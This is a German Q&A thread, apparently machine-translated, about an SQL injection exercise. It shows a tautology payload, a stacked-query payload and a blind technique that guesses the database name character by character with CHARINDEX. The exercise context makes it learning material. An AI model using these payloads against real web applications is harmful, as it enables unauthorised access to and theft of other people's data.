SQL Injection - MYSQL

Question

Ich mache eine Übung auf SQL Injection, die Abfrage wird gegeben. Die Daten kommen zwischen "". Das ist also die Abfrage:

select * from contacts where name = '' 

ich es geschafft, die Benutzer in der Tabelle zu sehen, mit diesem:

select * from contacts where name = 'anything' or 1='1' 

Aber meine Frage ist, wie ich es schreiben kann, so dass ich eine neue Abfrage schreiben? Oder sehen Sie sich den Namen der Datenbank an, damit ich andere Tabellen überprüfen kann.

EDIT:

Um Verwirrung zu vermeiden, die Abfrage uns nicht gegeben ist, gibt es ein Textfeld auf einer Webseite, das ist, was wir SQL-Injection zu tun verwenden.

vorstellen, also die Abfrage dies sein:

select * from contacts where name = '' 

Und ich schrieb dies auf das Textfeld, um alle Benutzer zu sehen.

anything' or 1='1 

Ich versuche zu verstehen, wie ich dieses Textfeld verwenden kann, um den Namen der Datenbank zu sehen, oder andere Abfragen ausführen.

Vielen Dank.

Answer 1

Also, wenn die Abfrage:

select * from contacts where name = '' 

Sie können versuchen, so etwas wie:

'; select * from anotherTableName' 

Answer 2

Wenn Ihre Daten nicht mehrErgebnisMengen zurückgibt, dann können Sie so etwas wie:

In SQL Server

SELECT * FROM Contact WHERE LastName='o_O' OR CHARINDEX('A',DB_NAME())=1 
SELECT * FROM Contact WHERE LastName='o_O' OR CHARINDEX('A',DB_NAME())=2 
SELECT * FROM Contact WHERE LastName='o_O' OR CHARINDEX('A',DB_NAME())=3 
... 

Bis Sie alle richtigen Indizes der Zeichen im Namen erhalten.